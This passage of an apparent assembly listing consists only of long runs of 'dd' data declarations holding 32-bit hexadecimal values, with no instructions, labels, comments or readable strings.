		dd 6358FB2Eh, 5597139Fh, 0ECC0F164h, 0FBDF18B0h, 2650ACCDh
		dd 266958D0h, 0CDA86BFBh, 6FCED427h, 0C74F29D9h, 6CBA71C8h
		dd 0E848003Eh, 0B343EDEDh, 3E93B12Ah, 1232CF33h, 91F8E1E6h
		dd 166951F0h, 0B5F0095Bh, 701C4077h, 34C71165h,	93172127h
		dd 46C83528h, 578C2055h, 0BBA1A065h, 8DA7789Ah,	2F8A247h
		dd 98B2CE2Bh, 7501A7A9h, 58D6BDFEh, 0A38C8B1Ch,	16008369h
		dd 165B78E0h, 0E505BD87h, 9DAA6780h, 3A7DA79Fh,	45D168DBh
		dd 6DD1E77h, 266441Eh, 0A86BC32Eh, 4D01E8FBh, 0E36ACAFFh
		dd 394BA32Fh, 8DC64EB5h, 696CCB05h, 0FFB01FEBh,	25EAEFBCh
		dd 5CE5FA7Eh, 583A1FBFh, 9A6783BDh, 2193FEC7h, 0E298BBFAh
		dd 0FD8C4578h, 0CF9ADFEh, 17C6F30Dh, 3344402Ah,	0E2E4CBC9h
		dd 11D62FFCh, 222593EAh, 0CC266B82h, 0FBE938ACh, 20382EECh
		dd 0FE4FE3AAh, 41B2FA8Dh, 3821028Eh, 1E1EA85Fh,	0C6FA6993h
		dd 0E9C04C2Dh, 0FA637CB7h, 0CB48013h, 71833541h, 88948D61h
		dd 4DDB2EADh, 4C3726B6h, 49E3371Fh, 5FE40AC9h, 0AA00AC84h
		dd 3101A0Bh, 66D6E963h,	802E7CE6h, 38E7A81Fh, 0D0C0F7A3h
		dd 2474C8D1h, 0C972AD89h, 1A1965C0h, 227DB96Fh,	0E1902F52h
		dd 93E4964Bh, 4BFD6EB5h, 4C9E28FFh, 0A4C1C4E0h,	0CA330D8h
		dd 9F5F6B05h, 3057F449h, 809B61CEh, 0DA5A051Bh,	4AAE903Ch
		dd 4F7EBF1h, 50DFE44Fh,	0AE9A9FF0h, 9FD55066h, 26B1E7BAh
		dd 0AFB2D6D1h, 27495828h, 0B47E8B1h, 0DEE5EC0Bh, 0D5C96C0h
		dd 6C43F104h, 27D5CC68h, 6002A2E4h, 48ED016Fh, 5F25CC7Ah
		dd 0D75D4B7Fh, 0E92AF0B9h, 6CF7DAC0h, 315C0AD0h, 5AD94A54h
		dd 91A04169h, 0BC76BC64h, 0C2C8E778h, 69529941h, 21F191B0h
		dd 1C8212A8h, 0D40B5B7Eh, 6087EBD4h, 7341FF8Bh,	759C6416h
		dd 9AA02895h, 0E0C164C3h, 84AC06D1h, 0A7E20440h, 8AF11EADh
		dd 254A01FDh, 0BEBEB823h, 4844E6A3h, 0D22E7BEAh, 2F56FAE3h
		dd 0ACD0A193h, 0BA87B092h, 278BE154h, 11D0DB63h, 0AF585C8h
		dd 51A0A716h, 8361F0CBh, 6A07520Bh, 0C3D52032h,	0E572A1EEh
		dd 0F4D32B0Dh, 0E36A3825h, 9A7C575h, 48D50E40h,	8CF39598h
		dd 56664E21h, 62BB2DABh, 1940CEA7h, 33197163h, 7B3E9A0Eh
		dd 8DBABF1Ch, 0F6E036CDh, 7DC2649Fh, 0C970BDAFh, 51F1DFE2h
		dd 0FD713366h, 3E70657h, 611F0070h, 0D211C286h,	0DEFB7B66h
		dd 56196609h, 4AED1352h, 3DBCEE44h, 0D6C08B04h,	76A6DBB1h
		dd 42BAA24Ch, 0E7156052h, 0EDB464DFh, 0DD2E9499h, 6DC105E3h
		dd 0C3BE5E08h, 85CA0B97h, 703888E0h, 1C4BB847h,	59FA32F2h
		dd 8CD3E545h, 98A9163h,	1F28C405h, 1EE0DCB8h, 5FCE36A9h
		dd 88ACDA76h, 8AC00130h, 0D7061D5Dh, 47CD9DF8h,	0F3C555CFh
		dd 6DEBC0A2h, 0C9A2858Bh, 54EC645Ah, 5565342Fh,	8DBE8BC8h
		dd 765E92F0h, 252A68B9h, 0A46CD25Ch, 69570EEAh,	0C7630E55h
		dd 0D3FF76D2h, 0D7B9E44h, 2AD87955h, 0CCB0FBEDh, 0EEB43C8Dh
		dd 0B58F85BBh, 0FC8077DDh, 57ED91F7h, 0ED7492EBh, 0F8DC93Ah
		dd 8488ADF2h, 4CD6D89Ah, 0C1E55CDBh, 10DA7159h,	74F3C92Dh
		dd 0B1909330h, 0E4A9B35Fh, 1E3A73D1h, 9DB32A21h, 5A8A5A0h
		dd 0D67AE43h, 0C1EF6421h, 78EF041Fh, 1E8F5A98h,	0D5169325h
		dd 43BA84DDh, 0E2A63AD3h, 8269DFDCh, 49D81332h,	3F38F37Fh
		dd 2F50646Ch, 866B65D2h, 6A24452Fh, 0EAD57C86h,	9EB14E45h
		dd 608FF6D6h, 1E3B035Eh, 0E939E031h, 5874C81Bh,	2130C8DBh
		dd 20B1C56Fh, 0D5886F03h, 94AF8B5Dh, 66028CF0h,	0D5C0F956h
		dd 0B65B0F98h, 0CDDC8EF1h, 832DB062h, 0D263B380h, 35351F9h
		dd 28838605h, 1E078974h, 0A248FE30h, 0F17AA80h,	8C2753E5h
		dd 0D5BC7293h, 157B38C6h, 0BA418CDFh, 6C07CBBEh, 59118313h
		dd 56744A05h, 979302CEh, 0B7FA20BDh, 0C5DFF67Fh, 0BC3D4F9Ch
		dd 6C31D8BAh, 42BA910Ah, 3BA3EDAh, 369964D6h, 984268FCh
		dd 0F3307B01h, 0A2D983A2h
		dd 20EB9439h, 0D57A339Fh, 0D7D25EC3h, 4685E8F3h, 986F5657h
		dd 80F0C5E2h, 0ED01E0C7h, 3F09D1BBh, 58302F2Dh,	87B0C81Bh
		dd 59B3FD24h, 9BDF5B84h, 92D78D4Fh, 9D90796Bh, 5668CC86h
		dd 0A1FD3C26h, 3040E17h, 295080ADh, 0BA860C1h, 6AB63D64h
		dd 7395FFB8h, 1F1A21A6h, 850CD8E0h, 0FA7F544Ch,	0D3B9C830h
		dd 1FC3FE2Bh, 48AA7EAFh, 1875B71Ah, 21935131h, 2E207179h
		dd 0CAA9E4CCh, 9A0379C5h, 863E02EFh, 99822E8Ah,	0E1B0DFC8h
		dd 0C3602247h, 0F3E38751h, 0E7CAC2DAh, 73BD66Eh, 0AF199CA2h
		dd 0AFF004E6h, 283A1D29h, 0A27A9339h, 74401E32h, 0FD7A485Eh
		dd 2C97A7D4h, 6E0FCB9Bh, 0EB9CE21Eh, 0E3CD8915h, 0DD013A9Eh
		dd 774B3D52h, 0B1ECDC5Eh, 9C587C85h, 9941CA94h,	0AC223A6Ah
		dd 15184134h, 0FAFC95FBh, 131EE35h, 0C6104C84h,	7146FEFAh
		dd 20DCE0A6h, 3CF1A304h, 0CFE116E0h, 0C622DBE7h, 7F7E868Ah
		dd 1F4CC485h, 0E3EEA4AAh, 6883A207h, 0F3D20307h, 62AD33EFh
		dd 52DDA470h, 6A5305E4h, 0DD928F6Fh, 0A5282F90h, 0A9627BF1h
		dd 4EF73E49h, 0D3B90829h, 34B9E31Ah, 7C7D0B9Ch,	42859EE8h
		dd 0D5D41FB1h, 78C77A9Ch, 2F46B84Ch, 0D18E4B3Eh, 0B0DF1BA6h
		dd 0AC3057F1h, 11430A1h, 0AFBECEB9h, 1CF11AD7h,	0AC658028h
		dd 419A3B9Ah, 1E28410Ah, 0F9317131h, 19C69078h,	0E0E9BEFFh
		dd 0DECCAF58h, 29341211h, 0FB15D317h, 0E3875BFAh, 4439A7F6h
		dd 8710D162h, 85EB858Fh, 0A9D59C28h, 78C7F052h,	0CD014B6Fh
		dd 0F2DD0E2Eh, 3BE6B58Dh, 1A59B3DAh, 136265Bh, 17257965h
		dd 0CF5EE385h, 57524023h, 5AC3AB61h, 65D6E8EFh,	49DD5D2Ah
		dd 0B85D0629h, 6E3DC572h, 94837B53h, 1B62F4FDh,	2DFC705h
		dd 6CA6DC00h, 0C2A2318Dh, 3FE9E61Eh, 3B53A32h, 0D6B25866h
		dd 0A274D7BAh, 1215FEFDh, 59B8C068h, 0DF4B4C5Dh, 69EB78F3h
		dd 0E99E7C6h, 0D11820BCh, 0AA4612C5h, 473F5BCDh, 7682C56Fh
		dd 15CD99B8h, 0E82E81E2h, 0E0AC7FEAh, 0E4E5E2B5h, 0E0A19ADFh
		dd 16B69619h, 8805D94Ch, 2CA70271h, 4AF90F9Eh, 4586A471h
		dd 0BFB44A8Eh, 2D539BB3h, 0CEF9B18Ah, 0D0CD2C48h, 0CB51E343h
		dd 551CB4F7h, 0F934F194h, 46BDCC67h, 4A025D29h,	9EE97434h
		dd 0E09303BDh, 0FB2CBECCh, 0EBEB9836h, 65C205BDh, 85491394h
		dd 0C61E078Dh, 9CE937DFh, 1B91AC24h, 9136A6B5h,	78CD0EB6h
		dd 95AD95F3h, 3ABF9369h, 7CE198CCh, 7A319A04h, 0B1EAD6CCh
		dd 611C4B84h, 217D9A23h, 0B8E057E9h, 84679E7Bh,	4F2BAC1h
		dd 98F4E2F4h, 0AF9CE127h, 919826D2h, 54784C3Dh,	0A19AF333h
		dd 86E001F5h, 0B6664C76h, 8FB7F49Dh, 89DE54F6h,	3DEBA8ECh
		dd 0CBC192D0h, 7ED99258h, 4749CCFFh, 6809942Fh,	6EB67D40h
		dd 8B7286C7h, 0DEB28148h, 3A1CD30Bh, 0A2B19CAEh, 295C1C36h
		dd 0C60FFE5h, 0C7A55AB7h, 0FB0C074h, 2965DFFFh,	24C6DA96h
		dd 28E0DAF4h, 52C5C1EFh, 0C3DACE31h, 7C87B858h,	0A2D7B096h
		dd 1CE057D5h, 6D3BEE33h, 5F52D7ECh, 0F9C6E6ECh,	0DC5B3D1Dh
		dd 0E51F7347h, 0F9592CD9h, 8441E912h, 3DAFE48Dh, 0EBEBD3F5h
		dd 731DC146h, 79B44F1Dh, 0AF5989A3h, 19331B37h,	9D6E964Ah
		dd 508106E5h, 0A627F036h, 72EBEE0Bh, 45A75508h,	2614574Ah
		dd 84C5EEh, 774CC7D3h, 8C6AB7Fh, 59822647h, 5BC14846h
		dd 7BBA404Eh, 0CCD466Ch, 0A98BC585h, 8B1B81DEh,	41EB688Bh
		dd 0BD0899BCh, 282CE3D7h, 51E76AF7h, 6AF8182Fh,	7D14B2B4h
		dd 2453149Bh, 360536DAh, 140ECB95h, 0D9AF3071h,	40C3792Eh
		dd 662A1E20h, 7BA7DE2h,	92FDF411h, 7BE398F8h, 9541E9CAh
		dd 99E7323Ah, 0FDD1C453h, 2C6B35C0h, 3A607EFFh,	27E1FE5Fh
		dd 62682ACCh, 6346349Eh, 852F1CF3h, 0DE65724Fh,	2DE3ED4Fh
		dd 0C747CCE8h, 4577BEAFh, 0BD782DC0h, 5CF5F617h, 8FCD0C6Eh
		dd 94EEAB96h, 0E38D7595h, 8BC2419Ah, 0D6DCF315h, 8F71D402h
		dd 1188938Eh, 400972D6h, 10501377h, 0F8A6D0EFh,	0B13569D6h
		dd 3C3982A3h, 0FBA22782h, 6D6EA3Fh, 101796E4h, 0B32C34BFh
		dd 7405472h, 0E062ED30h, 0DB892F57h, 0A4FD7B14h, 9E26CB5Ah
		dd 0AB714B2Bh, 73E53517h, 91F52D66h, 0F3C9C31Eh, 38E1102Fh
		dd 633B0864h, 0B9A1BC02h, 0C840EF6Bh, 4FC464AEh, 0D29C787Eh
		dd 75570C07h, 3C682861h, 68A09BF6h, 6D7CC012h, 0C872A784h
		dd 0EC69A918h, 43216D6Eh, 49594F9Fh, 0CD84E2A7h, 1EE88EEBh
		dd 0D15C2897h, 40B94A23h, 716EC769h, 2DAAAAC8h,	3F1FBD04h
		dd 6D22713Eh, 5EC05A7Dh, 5A73F88Fh, 0CA0F4798h,	416BD0B7h
		dd 0E8977EC8h, 673A10D1h, 0CA5E81DDh, 84A7A9B2h, 6A694273h
		dd 787B532Ch, 0C874D913h, 6E5A8593h, 0F8AFC0D9h, 6F49A56Ah
		dd 73D41211h, 0D060B517h, 78B5C4D9h, 113E2927h,	4406067Eh
		dd 4E46978Ah, 96D0B16Ah, 0D147E90h, 9DA6BC99h, 0CD23C3AFh
		dd 0D6510553h, 4C52D52Fh, 7B9C5641h, 429C9B1Dh,	32194A9h
		dd 949612FAh, 0DAD20C40h, 26801DA7h, 78A838A1h,	862F06CCh
		dd 0B047877Bh, 4BC194E4h, 0CDBCB9EDh, 0E13C05A5h, 65C80913h
		dd 0A21CB90Ch, 7B79D1DFh, 0BCA164F6h, 8F500F83h, 481081B4h
		dd 0BDE9CDC6h, 0F88DDA9Dh, 0F3BAC952h, 0A57E571Dh, 3B498D16h
		dd 0EE99224Bh, 3FE654B6h, 4A8F3E77h, 0C999FF60h, 2AC637E0h
		dd 0C5C26214h, 0A62517FBh, 0BB4F8383h, 2742E41Ah, 0F6101D6Bh
		dd 99B8C2D3h, 0FDCB4A04h, 15683DDEh, 8125598Ch,	96026A5h
		dd 4D73CC3Fh, 383B63FEh, 7A41A33Fh, 647BA1B1h, 0F285D58Fh
		dd 0CE909922h, 90C92D75h, 0A579361h, 5B29462Eh,	0A6AC2Ch
		dd 23B99CCAh, 254F584Dh, 9E6F36A7h, 32A11776h, 0AB0751B0h
		dd 0AD2F305Bh, 81782321h, 5EDBFA37h, 0D3CDB658h, 80C31DAAh
		dd 6EE1D78Dh, 578F45B4h, 0DA0C6C80h, 23AAC650h,	1C6DC925h
		dd 0D0F7B76Eh, 0F01253D3h, 13FF7B0Bh, 1B773FB6h, 0F13CBA5Ah
		dd 4AD9ACF2h, 0CFDBABACh, 0EB4C5C75h, 6AB4AF7Ch, 66CE30EBh
		dd 40C7BD10h, 16263A13h, 901C31DBh, 1BCDDD4Bh, 1FD63D5h
		dd 0F1B6E073h, 32739F5Bh, 26908EEFh, 0E9A9B07Ch, 0C0E61462h
		dd 0C95FF35h, 0CDED4BDAh, 6A38502h, 0D81D0DE4h,	6CF60C95h
		dd 0E18CDFA2h, 0F874652Fh, 0B9600435h, 1BA0BCECh, 0D103BF06h
		dd 0D865B3CFh, 3AE887B2h, 805CF6C6h, 7005682Fh,	5DC9B358h
		dd 426914C5h, 0A1F6C4FAh, 48F66023h, 0F41636D9h, 0D00CA92Ah
		dd 0CB45478Ah, 0B33F2F3Fh, 8036A687h, 0B713CDC5h, 6C75F380h
		dd 0CE9E991Ch, 0CA800916h, 8EFC48A2h, 0E5EA739h, 0D1877A0Bh
		dd 0D45B09CFh, 83527F82h, 517FEB95h, 0DABE6BDEh, 55B87573h
		dd 41BC2E0Fh, 31C1689Ah, 0E29C11D8h, 607F92DEh,	747A84BCh
		dd 0EFB1E601h, 857C295Bh, 0FD66EBCFh, 760E1CE7h, 828859F3h
		dd 0D7C09AA1h, 0F78AD0F7h, 0FEFC6F27h, 0C8DC3E31h, 0A5DA89C0h
		dd 542868F1h, 0B7211CFFh, 0A4B5592Ch, 0B1C2C933h, 0ECAC658h
		dd 4F762982h, 0CB19CA8Eh, 7E10822Ch, 46823137h,	755D1CFFh
		dd 9F7E26BBh, 2B551BF8h, 2E1AFA0Dh, 8EA3FD57h, 0F5ABFF72h
		dd 0C1B4DACFh, 0A9A06170h, 5EBEDA0Eh, 74222798h, 67E8BC2Ah
		dd 53A70217h, 8AE3E5C8h, 37739D8Ch, 1D48C727h, 0CCBFC540h
		dd 62A8914Bh, 0E7E6954Fh, 0F6279DECh, 0BB362D35h, 717BBFB4h
		dd 235DAA3h, 46CABD87h,	6D8CF8DEh, 0BFF3A70Ah, 6BADDC27h
		dd 0A2FB4F77h, 0E59A511Eh, 5305C4B6h, 91F0697Ch, 53467B95h
		dd 85666394h, 0E9D2BEC7h
		dd 76A2459h, 0AB194A89h, 90C86726h, 90F9D7F1h, 0CE5D6206h
		dd 11E14A1h, 10F47426h,	95E2CA80h, 0A24BE628h, 4CC65235h
		dd 3630EB1h, 540BC928h,	0CBAB24A1h, 0EF54DE71h,	0F33C9DF4h
		dd 293DB3F4h, 38890087h, 0A5BD9618h, 0ADB03BC0h, 0A3E37E04h
		dd 35E15CC0h, 0E22177EDh, 6412BB9Ah, 97B06E44h,	3201D596h
		dd 132CB593h, 0ED81FAAAh, 0D055F1E9h, 0CCF6F256h, 9DF58F7Dh
		dd 14715774h, 5AD01560h, 4B2D12FDh, 605C739Eh, 89B80276h
		dd 0BCF72487h, 33B59C48h, 0C627493h, 4F238F0Ch,	0EC289368h
		dd 531434D3h, 0F56FE30h, 19505857h, 5EB624BCh, 9DD69519h
		dd 7FA66CAEh, 3EFDC12Eh, 827AA104h, 4C0D6C81h, 43461F83h
		dd 2846697Dh, 0D05B03CEh, 0C791187Bh, 8A119336h, 0E718E660h
		dd 0A947AF4Fh, 5AF305B3h, 7987F6F0h, 3E56A73Ch,	7B60A2ACh
		dd 41904C58h, 8F572E16h, 0CA790F60h, 3A6A0C6Ah,	68E77C65h
		dd 880A6521h, 498ACFAAh, 0F864367Bh, 0A1ACD73h,	49E9A317h
		dd 7F19CAFCh, 3F512219h, 26348316h, 193B03A6h, 42992D9h
		dd 3D350E4Eh, 0D1A2AA4Ch, 0D50F04DEh, 0E60732FAh, 43E4CF04h
		dd 6A094088h, 9688CFC4h, 0A516C66Dh, 7F29A0A8h,	68FE0652h
		dd 0E4891D49h, 64AA60B1h, 1FFE1B85h, 0F5457AE4h, 0BB95DD60h
		dd 0BE3491BFh, 82C1B58Ah, 175568C4h, 9B301A5Ch,	75B7524Eh
		dd 0DCCF76D3h, 0CCE3DB08h, 648662EEh, 39746649h, 2D474557h
		dd 9B91A2D4h, 0CA25932Eh, 553E4CD2h, 0C03DDBAh,	775BF1ACh
		dd 0C57E2891h, 0BF9F6C33h, 56D1EFC6h, 0CDBC82F5h, 0F1F518E0h
		dd 0B80D335Ah, 37F4C340h, 563D8C30h, 0AC488AD8h, 462EBC71h
		dd 0A65C6593h, 3CF9EAD9h, 76C92A47h, 61F7CC32h,	0ABB30EA1h
		dd 0DF3F251Fh, 3CE1FCAEh, 6A78185Bh, 18B27B38h,	4F150379h
		dd 3EB440D0h, 36E0C4A3h, 3943E6Bh, 4A9C0C81h, 0EA732098h
		dd 766E548h, 9AE9F395h,	36730D6Fh, 0C8C73747h, 0E403DD6Fh
		dd 6DB37069h, 13DCE8CDh, 0BB2EF349h, 59B15AF6h,	9A9D02ABh
		dd 1DCB34DDh, 0ECF1D1AAh, 0C457E130h, 7B78398Eh, 69320438h
		dd 34FE20EFh, 185C3145h, 3405C59h, 48EB3569h, 999F442Dh
		dd 60610344h, 427DA17Fh, 27424C78h, 866EFCBAh, 687C268Ah
		dd 9D972FD5h, 7E254B4Dh, 0E5EFC90h, 159103CEh, 90622157h
		dd 14EF3044h, 4BD244C1h, 455B6550h, 0F3F02698h,	50E0CE90h
		dd 0BDCAB232h, 0DF8E81F5h, 0B62EAC3Dh, 8EC0961Bh, 77D4BA10h
		dd 0A68CDFE9h, 0F5EFF142h, 0EF2ADEF8h, 0D8ED110Ah, 84A3345Eh
		dd 40A2A384h, 5F1C942Ch, 0DC0DA809h, 568B72D8h,	0C801B070h
		dd 76703642h, 240C4BD8h, 21B6143Bh, 94305D59h, 596690E0h
		dd 2663EBE6h, 0AB654493h, 32ADA45Bh, 46C5BF55h,	5177D1D6h
		dd 55C1EA6Dh, 45803E16h, 0BA6AEEF5h, 0ED8E8318h, 0D06BF25Fh
		dd 12EA730Ah, 0B78DC437h, 0FC69EA66h, 51B0D7E9h, 23E8FDC4h
		dd 29AAC2EFh, 0B0439DC8h, 684F48CEh, 7690BDACh,	0A6EF9931h
		dd 0EF297751h, 0F5593715h, 70BCCA18h, 5D680068h, 58278728h
		dd 0AD746D6Ch, 0D7EC5DDCh, 0D1550B96h, 3818BB86h, 3A27F6ECh
		dd 0FCD7018Ah, 3D82054h, 0C93D9A9h, 99BB48C5h, 0C37C3C1Ch
		dd 6E5EC256h, 0FCA15E12h, 0C76517EDh, 0B7E09DFCh, 4B5BF700h
		dd 0BA65FE66h, 0C82EE952h, 908809D4h, 154DB8E0h, 1BF7F37Bh
		dd 0BD89B4E8h, 0E5D41924h, 0BFC700E3h, 9F33CC1Bh, 0D6691957h
		dd 0F5BB9FD4h, 5FDA8BF0h, 13D462E5h, 0D305EEE0h, 86C4E904h
		dd 0FF32FC02h, 5F6CAD0h, 82FFC516h, 0ED7E9E94h,	101AD773h
		dd 23168F3Fh, 0ECB03DBAh, 48E9282h, 314FF2FEh, 3D6AC5FBh
		dd 6C9F64EAh, 195C3675h, 0B94A3E9Dh, 6A1DE706h,	6EC6BE72h
		dd 421FA879h, 0CC0A5929h, 0F26C194Eh, 78348E5Fh, 5A966AF2h
		dd 586AD97h, 799F1A55h,	60651BDAh, 7C896677h, 799A5139h
		dd 371D4F85h, 30F6E78Ah, 1C1DB904h, 0DF327D14h,	73E208ECh
		dd 199E3C6h, 0A9F6F190h, 22D2D830h, 442E77E4h, 3ECD8F37h
		dd 98793627h, 0C4A68668h, 0A53CB64Ch, 0B4F61CBCh, 0D6D2FEF1h
		dd 67DAAB21h, 0E54EDC75h, 634A372Fh, 0BB95D8F6h, 0C3688080h
		dd 0DC78315Ah, 0EED3FBFAh, 19239560h, 7A8CD439h, 64C98995h
		dd 0ADB32E45h, 0DE17141Dh, 9C877C0h, 4A1630C6h,	0BE649141h
		dd 0F70E5D8Eh, 0D1D5CB34h, 4AE3207Dh, 4FE41E43h, 0E79BCCD5h
		dd 0C4989346h, 743DD4A4h, 6C188595h, 3ADBB654h,	2B9CAF95h
		dd 0B16030F0h, 41D2ABEFh, 145B8418h, 152BA945h,	0A9979F9Fh
		dd 0FBF6B4A9h, 3C843609h, 0DB9ED7DBh, 9F83618Bh, 5C402893h
		dd 0C2E838A8h, 6CC53924h, 234D139Dh, 0CF7E0EDBh, 200C3D55h
		dd 887555F6h, 7B688470h, 7BBB20A5h, 762C6A0Fh, 0D5786009h
		dd 1988A56Fh, 58B556E7h, 9BEBA68Ch, 47DAA368h, 0F97FDA11h
		dd 1A21898Dh, 0C54D9D5h, 8F158CDEh, 2E787AA2h, 673B4C6Eh
		dd 0AD9E134Dh, 0D6D666E9h, 0D6AF3979h, 1EDF269Fh, 0BBEF076Fh
		dd 0B83ACDBDh, 0EDBB2F3h, 0F19EAD41h, 0DB4D2B14h, 0DD57E15Ch
		dd 128E3DC4h, 4E1712B6h, 2287B030h, 823E6D08h, 0E513CE50h
		dd 6FA6F3E9h, 0BE19FCCBh, 0EC9603A7h, 6BC3E838h, 0F005A3E8h
		dd 4E5812EBh, 1ECFCE0Ah, 0A2774C95h, 0A5F073B0h, 0EAE65D5Eh
		dd 0AB70CBC2h, 0E4F47BD9h, 7473C367h, 9884C9h, 0B733CE5h
		dd 9DF7DE95h, 0F65CDBB1h, 16771B0h, 0AB438A0Fh,	34820C73h
		dd 1A9BC894h, 29D47738h, 0CCB5B500h, 7E8993DDh,	3CA000A6h
		dd 0A4858A3h, 34CD2940h, 28734E11h, 909DD15h, 13A20EFFh
		dd 1C0A645Ch, 0A6044F77h, 0B5B20D9Ah, 947A2A86h, 3DA79431h
		dd 0B89C5A29h, 3CB31C04h, 401B8560h, 0BF918D1h,	0E1F20DF1h
		dd 21663093h, 1F81FC38h, 0F226B39h, 0C31F62F2h,	7300DD0Eh
		dd 670C3B37h, 57A1A5FEh, 0D2BBEB5Ch, 4B86931Ah,	38DAE06Dh
		dd 771D13BAh, 4FD8E627h, 3AE108F7h, 0E527C260h,	91460DD2h
		dd 2DF6EAF2h, 963B233Bh, 46FE0A80h, 6CC29DADh, 0B143CAD6h
		dd 19AF80E7h, 0CD6078A5h, 0DD5D0098h, 718BFDC8h, 6D51F6EAh
		dd 0DA193E34h, 32779150h, 0EAE40550h, 441A0367h, 8894893h
		dd 4210181Fh, 0D24E9867h, 0A4C2E6E9h, 3BA77D4Bh, 7A04E2FCh
		dd 0FEF88113h, 0FD292BFDh, 1662585Ah, 7FC08307h, 54C9359Dh
		dd 6886C67Fh, 98577509h, 379809A6h, 84FEEF88h, 730D3273h
		dd 5D5C73A3h, 5B00C4D8h, 3C8000ACh, 9B652977h, 0F3B97E62h
		dd 1A9F0EDBh, 97A5EEBEh, 0C5D6A8AFh, 22650B1Bh,	849F7FA8h
		dd 447A4171h, 43136D95h, 0B2DDEA63h, 0EE8FCD1Bh, 0B80E1864h
		dd 0C6831EF3h, 1715186Ah, 59DBFE33h, 0F9566C87h, 21803029h
		dd 816D2245h, 224D1FCEh, 9E68E27h, 84A2F065h, 9EBB2990h
		dd 9BC18430h, 94C672A8h, 4E0C042Dh, 0EE2FFCF5h,	0CB8AD541h
		dd 49805149h, 912803C7h, 0A15A8A31h, 5CB553F5h,	9AEF71B1h
		dd 0ADB9A275h, 0A432FF4Fh, 2B86CCD7h, 0DC30AB44h, 0BB7788ECh
		dd 458C51BBh, 1351E69Bh, 0DC5644E0h, 3EFCE23Eh,	0FD6AE7D3h
		dd 960AC01Eh, 0B45C5C4h, 82734B44h, 0DE34C411h,	0C8ACB4B1h
		dd 57AFB54h, 0F2095004h, 5C487239h, 253D5C51h, 6B055D7Ch
		dd 266E994Ah, 0D23018EBh, 0A3D793BFh, 8BEACC54h, 0E25F49D4h
		dd 7299C64Eh, 0BF7563C0h, 0C18CC6FBh, 72E18094h, 0DA651548h
		dd 5C90E753h, 0EB400706h, 3DEE5089h, 87A31B52h,	0DC83A883h
		dd 0BCCD1D0Bh, 2856A1C5h, 3D53B03Bh, 436D0CAEh,	5E07A3D9h
		dd 351F6F4Ah, 676A348h
		dd 2926BB52h, 0B764082h, 8A9AB73Bh, 0FE57A702h,	0E91DF402h
		dd 4A3AD004h, 0DB9C3314h, 6466E178h, 3FB05726h,	99548D27h
		dd 0F6947C8Ah, 0EA125EA6h, 5D0D5543h, 0A5DC79D3h, 35ED2265h
		dd 3A7FD0C1h, 55B93BD1h, 88574F6Fh, 7D5B7507h, 0C0AD9DE9h
		dd 1E0C1E19h, 5E1812EBh, 389B1FAEh, 38F79A5h, 89D5AFA0h
		dd 0AAAAC493h, 227A3D55h, 0D96330Eh, 554B4A95h,	5B251ECBh
		dd 331F211Bh, 28BACAB0h, 8AAB250Ch, 695C7945h, 0D9FDFF21h
		dd 80DF5527h, 0BCD517F9h, 9C08C82Ah, 0F01E0DECh, 162E1A1h
		dd 0A490EFD6h, 4725F112h, 0E5E4481Ah, 41714617h, 311FB08Ch
		dd 0FAA98DC0h, 69E4D67Dh, 100EC509h, 511D9B1Eh,	0F890F231h
		dd 0B5E6FA78h, 251B8B98h, 373FBC5h, 0C18959C1h,	5AB29492h
		dd 0B7743BC7h, 22C05089h, 0F20CAC32h, 7419B7C8h, 0A55626AEh
		dd 0F65D83D4h, 0DBF5179Fh, 0D7C306B0h, 1D6E872h, 0FFC0A838h
		dd 64B1031Fh, 8EC91BD7h, 0C196F88Ah, 4A4FD68Dh,	4775417Dh
		dd 8F8CB57Bh, 0BA45F764h, 0D17B9DFh, 2B8A2D8h, 0A5B667E5h
		dd 4583EFC5h, 78992D60h, 0C17AD3F0h, 81711162h,	9439ECCEh
		dd 54D8AEE1h, 8CC2C843h, 3B9AA50Ah, 41FB0DA1h, 0FA937F9Fh
		dd 0EFFA849Bh, 0E3307D5Ch, 0DD33CC94h, 0AFFE6706h, 2EBA11A4h
		dd 6C3028ACh, 2ACB6E8Eh, 2891552Ah, 0CB1E3718h,	52455086h
		dd 85255082h, 35C5835Bh, 0CE046599h, 0CD5F0BD7h, 0B17A1464h
		dd 211E10F7h, 0A84849FBh, 60200C3Dh, 0D30BC2EFh, 981475BFh
		dd 0F021F7F2h, 408AC709h, 5DD7F68Bh, 3CAA84DAh,	0B86BD49Ah
		dd 0F313F8CAh, 13ED9507h, 9E3E9B5Ch, 0BE4089C7h, 3C3C3AF2h
		dd 2F592ADEh, 0B4CA50ECh, 9ABB4C6h, 15DED6C9h, 818CDA39h
		dd 0FF819AC1h, 0BEED1BCFh, 0BAEF5D97h, 3355A313h, 8D0F54FAh
		dd 48E1F55Bh, 6DD2B4BFh, 4798D28Fh, 0FFFFEA75h,	302FA126h
		dd 8902B334h, 110A9807h, 291EAF1Ah, 36BF78FCh, 59DB8DC8h
		dd 37CC51E3h, 9FCC55E6h, 2FCBFB5Fh, 0AC506D39h,	442602A2h
		dd 1550FDEEh, 0B43088F7h, 0D2184778h, 0C99A632h, 0A8D8F4F6h
		dd 0A85E3F9Bh, 99D64649h, 78435572h, 79EB86FCh,	49895CDCh
		dd 491E060h, 773D1E3Ah,	24487511h, 9ABA9634h, 5FF3F0BCh
		dd 89642B0Dh, 85A664F2h, 0B4E44F35h, 0F264A2FFh, 4E7C06D9h
		dd 479DDB9Dh, 0FBC12F6Bh, 609A610Ah, 961DCFF5h,	2C2EDAE5h
		dd 60DAFDBh, 40DC489Eh,	895ADF1Bh, 0AB00DB6Ah, 0D51F6D0h
		dd 5B3EA333h, 0FFEDD07Dh, 0D171C89Ah, 32743D9Bh, 0D2D5DB4Eh
		dd 0EFE64F4Ah, 8870FCBAh, 0F94F0A45h, 748585Ah,	71ED3922h
		dd 0EF99E310h, 0FEBD16BDh, 30FFC54Ah, 811CB9Ch,	1A2FC77Ch
		dd 76A7CD6Ah, 0FB617F89h, 55088DD5h, 4A3AA867h,	7D1A91E5h
		dd 0B44245D6h, 631EF71Fh, 28E05C72h, 6E672468h,	45F8A10Dh
		dd 673D8A26h, 124C5A12h, 0F1E3952Ah, 64EBB629h,	6203091h
		dd 45DD7693h, 0C9867ED1h, 523E1A8Bh, 0F3B5D4FAh, 4AB9E2F9h
		dd 6174E9B9h, 63C3A091h, 0F4E71FDBh, 1E5ADF24h,	0FF0C23BFh
		dd 54CF5673h, 82F2501Eh, 2F4D1486h, 0D411B242h,	4C0AF82h
		dd 44A61996h, 118F9946h, 22960616h, 0E7401567h,	0A7A63705h
		dd 6D03E656h, 0A31FE30Ah, 0EFF56C6Eh, 4C056B2Dh, 6F6FEE66h
